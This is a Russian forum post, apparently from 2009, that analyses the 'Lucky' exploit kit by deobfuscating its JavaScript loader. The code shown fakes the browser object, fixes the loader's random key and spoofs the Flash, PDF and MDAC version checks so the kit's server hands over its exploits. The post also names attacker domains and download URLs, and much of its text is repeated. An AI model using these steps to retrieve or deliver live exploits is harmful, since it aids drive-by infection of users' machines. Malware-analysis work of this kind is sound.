В привате подобная тема существует довольно таки давно. Там я расковыриваю всякое неопознанное зверье, опознанно зверье и прочий щыт. Думаю теперь он будет жить и на сплойте. Итак, сегодня мы посмотрим что-же такое лаки, что он из себя представляет, как работает ну и конечно вытащим его кишки. Разбор будем проводить по принципу тестиривания "черный ящик". То есть, нам глубоко пофиг что внутри и как это работает, мы можем подавать какие-либо значение на вход и получать что-то на выходе. В принципе нам этого более чем достаточно. Итак, начнем.
Перво-наперво стоит найти домен, где висит сие чудо, что вполне логично. Мы будем рассматривать сплойт снятый с домена хттп://clickcouner.cn. User Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322). Делаем запрос, получаем содержимое первого куска шифрокода. Содержимое можно посмотреть в файле step1.txt. Содержимое представляет собой обыкновенно-обфусцированный, порезанный ЯС код. Смело запускаем. На выходе получаем вполне адекватный ЯС код. Его содержимое можно увидеть в файле step2.txt.
Тут я позволю себе сделать маленькое лирическое отступление и чуть рассказать о ммеханизме работы лаки сплойта. На первом этапе мы получаем обфусцированный код "загрузчика". При запуске самого загрузчика генерируется переменная res отвечающая за получения непосредственно шифротекста и переменная nextkey отвечающая за дешифровку этого шифра. Всё-бы ничего, но за счет того, что в "загрузчике" используется методы генерирующие "случайные" значения и метод для получения текущей даты в секундах, каждый запуск загрузчика выдает новый вариант ключа. То есть, запустив один раз, перехватив ключ, получив шифротекст и попытавшись его дешифровать, то есть снова запустить весь код включающий загрузик и шифротект получим белибирду. Тоже самое получим если принудительно перехватить ключ и подменить его при повторном запуске. Как это обойти? Да очень просто. Нужно всего лишь "убить" все методы "рандомизации" и получения текущей даты. И еще одна маленькая хитрость, загрузчик проверяем текущий браузер, обмануть его можно добавив в самое начало код:
Итак, продолжим.
Для начала нужно грохнуть все рандом методы, что-бы получить фиксированный ключ и переменные овечающие за дешифрование кода. Работу очень облечгает то, что сами переемнные не обфусцированы, что внесло бы небольшую мароку, странно кстати что авторы такого детища не позаботились об этом. Итак, ищем следующее в загрузчике:
меняем на
далее ищем
меняем на
ищем
меняем на
Рандомные методы мы убили все, теперь осталось дело грохнуть получение даты. Ищем
и меняем на
Проверяем получение переменной res
да, всё отлично, получили фиксированный ключ 4a0bb441a51a1a196b829ba771958f0254fabb35eafcd38423a253f94ad41875ff46c456801dbdc0bfd3fe4ab00a9f088fce3672e96aa29980f41eec185f0b6f. Однако, имейте ввиду, версии криптора лаки могу отличаться и имена функций-переменный различаться, но найти требуемый думаю не составит труда.
Теперь время "получать" шифротекст. Грузит адрес хттп://clickcouner.cn/?4a0bb441a51a1a196b829ba771958f0254fabb35eafcd38423a253f94ad41875ff46c456801dbdc0bfd3fe4ab00a9f088fce3672e96aa29980f41eec185f0b6f. Получаем содержимое. Посмотреть полученный код можно в архиве step3.txt. Для расшифровки всего этого нужно соеденить в одном файле "эмулятор браузера", загрузчик с исправленными переменными и полученный шифротекст. Результат опять ЯС, но на этот раз уже почти финальный. Он проверяет версии установленных аплетов и плугинов. Содержимое в файле step4.txt.
Двигаемся дальше. Первой функцией мы видим check_flash_vuln. Делает она ни что иное, как проверяет версию установленного в системе флеш плейера. Опять-же будем самые наглые и сделаем подмену. В моем случае я взял версию реально установленного в моей системе плейера это 9:0:115. Делаем подмену. Ищем строчку
и меняем её на
Следом следует функцияcheck_pdf_vuln. Делает она опять же аналогичное с предыдущей, проверяет версию акро пдф ридера. Тут стоит решить, что мы хотим получить, только версия сплойта нацеленную под посследний ридер, или-же на интересуют еще и предыдущие. В первом случае я поставлю замену на версию реально установленного ридера, 900. Во втором варианте, советую поставить что-нибудь из разряда 7хх, 8хх. Делаем замену. Ищем строчку
и меняем её на
Ну и наконец последний определитель check_mdac_vuln. Если очень вкратце, то он проверяет систему на возможность эксплуатации мдак сплойта. Гулять дак гулять, хотим все вариации мдака. Ищем строчку
и меняем её на
Всё, для запуска опять-же соединяем эмулятор брузёра, загрузчик, шифротекст (только стоит закоментить его выполнение //eval(t); и определитель. Получаем значения полученных переменных
Настал пред завершающий этап. Получения непосредственно файла со сплойтами. Грузит содержимое страницы хттп://clickcouner.cn/?470dbda1ff902064b144ce1b36b3b3510469296d9e38d6ea89e1ee6cb2c05d84b24bfd0f5b63b4ccee0feec89878ecb2f0069056d4d5fa57133ffdcf7cac078e. Получаем еще один шифротекст. Содержимое можно посмотреть в файле step5.txt.
Итак, завершающий этап, требуется получить сами сплойты. Для это нужно воедино соединить "эмулятор браузера", загрузчик с поправленными переменными, первый кусок шифротекста с закомменченным его выполнением, подправленный определитель и наконец второй полученный шифротекст. Запускаем всё вместе и вуаля, сплойты. Увидеть их можно в файле step6.txt.
Вот собственно и всё. Далее идет получение непосредственно файлов для атаки системы, в нашем случае это flash_url="?"+rsa.encrypt("getflash=1&version="+flash_real_ver); и mdac_url="http://visitors-counter.com/?"+rsa.encrypt("getmdac=1&version="+g);. Если вы хотите получить и их для анализа, разбора, етк, стоит подправить определитель.
Вместо
ставим
Далее ищем установленную нами строчку
и меняем её на
Сами сплойты меняем на содержимое файла step7.txt. В итоге мы получаем слудющий сгенеренный текст:
Полученные файлы сохранены под именами file.bin и file.swf.
Ну вот теперь всё. Все упомянутые файлы можно найти в архиве lucky_steps.zip.
Скачать|Download
Скачать|Download
Скачать|Download
Пароль: DiFor(11.03.2009)
Буду ждать отзывов о "статье". Еще раз всем спасибо за внимание.
Перво-наперво стоит найти домен, где висит сие чудо, что вполне логично. Мы будем рассматривать сплойт снятый с домена хттп://clickcouner.cn. User Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322). Делаем запрос, получаем содержимое первого куска шифрокода. Содержимое можно посмотреть в файле step1.txt. Содержимое представляет собой обыкновенно-обфусцированный, порезанный ЯС код. Смело запускаем. На выходе получаем вполне адекватный ЯС код. Его содержимое можно увидеть в файле step2.txt.
Тут я позволю себе сделать маленькое лирическое отступление и чуть рассказать о ммеханизме работы лаки сплойта. На первом этапе мы получаем обфусцированный код "загрузчика". При запуске самого загрузчика генерируется переменная res отвечающая за получения непосредственно шифротекста и переменная nextkey отвечающая за дешифровку этого шифра. Всё-бы ничего, но за счет того, что в "загрузчике" используется методы генерирующие "случайные" значения и метод для получения текущей даты в секундах, каждый запуск загрузчика выдает новый вариант ключа. То есть, запустив один раз, перехватив ключ, получив шифротекст и попытавшись его дешифровать, то есть снова запустить весь код включающий загрузик и шифротект получим белибирду. Тоже самое получим если принудительно перехватить ключ и подменить его при повторном запуске. Как это обойти? Да очень просто. Нужно всего лишь "убить" все методы "рандомизации" и получения текущей даты. И еще одна маленькая хитрость, загрузчик проверяем текущий браузер, обмануть его можно добавив в самое начало код:
Код:
function my_navigator () {
this.appCodeName = "Mozilla";
this.appMinorVersion = ";SP3;";
this.appName = "Microsoft Internet Explorer";
this.appVersion = "4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FDM; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)";
this.browserLanguage = "en-us";
this.cookieEnabled = "true";
this.cpuClass = "x86";
this.onLine = "true";
this.platform = "Win32";
this.systemLanguage = "en-gb";
this.userAgent = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FDM; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)";
this.userLanguage = "en-gb";
};
navigator = new my_navigator;
Для начала нужно грохнуть все рандом методы, что-бы получить фиксированный ключ и переменные овечающие за дешифрование кода. Работу очень облечгает то, что сами переемнные не обфусцированы, что внесло бы небольшую мароку, странно кстати что авторы такого детища не позаботились об этом. Итак, ищем следующее в загрузчике:
Код:
var d=Math.floor(Math.random()*a.length);
Код:
var d=a.length-1;
Код:
var z=window.crypto.random(32);
Код:
var z=10;
Код:
t=Math.floor(65536*Math.random());
Код:
t=100;
Код:
XTB(new Date().getTime())
Код:
XTB('1236712324705');
Код:
document.write(res);
Теперь время "получать" шифротекст. Грузит адрес хттп://clickcouner.cn/?4a0bb441a51a1a196b829ba771958f0254fabb35eafcd38423a253f94ad41875ff46c456801dbdc0bfd3fe4ab00a9f088fce3672e96aa29980f41eec185f0b6f. Получаем содержимое. Посмотреть полученный код можно в архиве step3.txt. Для расшифровки всего этого нужно соеденить в одном файле "эмулятор браузера", загрузчик с исправленными переменными и полученный шифротекст. Результат опять ЯС, но на этот раз уже почти финальный. Он проверяет версии установленных аплетов и плугинов. Содержимое в файле step4.txt.
Двигаемся дальше. Первой функцией мы видим check_flash_vuln. Делает она ни что иное, как проверяет версию установленного в системе флеш плейера. Опять-же будем самые наглые и сделаем подмену. В моем случае я взял версию реально установленного в моей системе плейера это 9:0:115. Делаем подмену. Ищем строчку
Код:
try{vers.push('f',check_flash_vuln());}catch(e){}
Код:
try{vers.push('f','9:0:115');}catch(e){}
Код:
try{vers.push('p',check_pdf_vuln());}catch(e){}
Код:
try{vers.push('p','900');}catch(e){}
Код:
try{vers.push('m',check_mdac_vuln());}catch(e){}
Код:
try{vers.push('m','4');}catch(e){}
Код:
res2=versions=f,9:0:115,p,900,m,4
rsa.encrypt(res2)=470dbda1ff902064b144ce1b36b3b3510469296d9e38d6ea89e1ee6cb2c05d84b24bfd0f5b63b4ccee0feec89878ecb2f0069056d4d5fa57133ffdcf7cac078e
nextkey=versions=f,9:0:115,p,900,m,4470dbda1ff902064b144ce1b36b3b3510469296d9e38d6ea89e1ee6cb2c05d84b24bfd0f5b63b4ccee0feec89878ecb2f0069056d4d5fa57133ffdcf7cac078e
Настал пред завершающий этап. Получения непосредственно файла со сплойтами. Грузит содержимое страницы хттп://clickcouner.cn/?470dbda1ff902064b144ce1b36b3b3510469296d9e38d6ea89e1ee6cb2c05d84b24bfd0f5b63b4ccee0feec89878ecb2f0069056d4d5fa57133ffdcf7cac078e. Получаем еще один шифротекст. Содержимое можно посмотреть в файле step5.txt.
Итак, завершающий этап, требуется получить сами сплойты. Для это нужно воедино соединить "эмулятор браузера", загрузчик с поправленными переменными, первый кусок шифротекста с закомменченным его выполнением, подправленный определитель и наконец второй полученный шифротекст. Запускаем всё вместе и вуаля, сплойты. Увидеть их можно в файле step6.txt.
Вот собственно и всё. Далее идет получение непосредственно файлов для атаки системы, в нашем случае это flash_url="?"+rsa.encrypt("getflash=1&version="+flash_real_ver); и mdac_url="http://visitors-counter.com/?"+rsa.encrypt("getmdac=1&version="+g);. Если вы хотите получить и их для анализа, разбора, етк, стоит подправить определитель.
Вместо
Код:
try{vers.push('f','9:0:115');}catch(e){}
Код:
var flash_real_ver='9:0:115';
try{vers.push('f','9:0:115');}catch(e){}
Код:
try{vers.push('m','4');}catch(e){}
Код:
var g='4';
try{vers.push('m','4');}catch(e){}
Код:
version=9:0:115
flash_url=хттп://visitors-counter.com/?860dd656953e7763aa2cc8df8731f415f73c4f9e829501c998e9fdf0794a752ff7278da3e712f8bf005af86bc24428ac66382ef1a1586fa2e4544d6387991a13
version=4
mdac_url=хттп://visitors-counter.com/?225f6ae18ff97fb10b1a2126d813a4aa3ae03caea5d191f1bd9478c8e42838e8e9a1fbc384b25b3d7ee0cf32f36bc9043b3f62cc1f8a9e15316ba33dea826a5a
Ну вот теперь всё. Все упомянутые файлы можно найти в архиве lucky_steps.zip.
Скачать|Download
Скачать|Download
Скачать|Download
Пароль: DiFor(11.03.2009)Буду ждать отзывов о "статье". Еще раз всем спасибо за внимание.